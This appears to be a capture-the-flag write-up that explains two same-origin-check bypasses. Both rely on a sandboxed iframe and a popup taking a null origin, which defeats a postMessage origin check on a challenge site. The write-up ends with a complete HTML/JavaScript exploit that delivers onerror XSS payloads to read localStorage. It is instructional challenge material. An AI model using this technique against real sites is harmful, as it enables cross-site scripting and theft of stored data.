The main problem is that the main page uses DomPurify to send the data.body, so in order to send your own html data to that code you need to bypasse.origin !== window.origin.
Let's see the solution they propose.
SOP bypass 1 (e.origin === null)
When //example.org is embedded into a sandboxed iframe, then the page's origin will be null, i.e. window.origin === null. So just by embedding the iframe via <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> we could force the null origin.
If the page was embeddable you could bypass that protection that way (cookies might also need to be set to SameSite=None).
SOP bypass 2 (window.origin === null)
The lesser known fact is that when the sandbox value allow-popups is set then the opened popup will inherit all the sandboxed attributes unless allow-popups-to-escape-sandbox is set.
So, opening a popup from a null origin will make window.origin inside the popup also null.
Challenge Solution
Therefore, for this challenge, one could create an iframe, open a popup to the page with the vulnerable XSS code handler (/iframe.php), as window.origin === e.origin because both are null it's possible to send a payload that will exploit the XSS.
That payload will get the identifier and send a XSS it back to the top page (the page that open the popup), which will change location to the vulnerable/iframe.php. Because the identifier is known, it doesn't matter that the condition window.origin === e.origin is not satisfied (remember, the origin is the popup from the iframe which has originnull) because data.identifier === identifier. Then, the XSS will trigger again, this time in the correct origin.
<body>
<script>
f = document.createElement('iframe');
// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>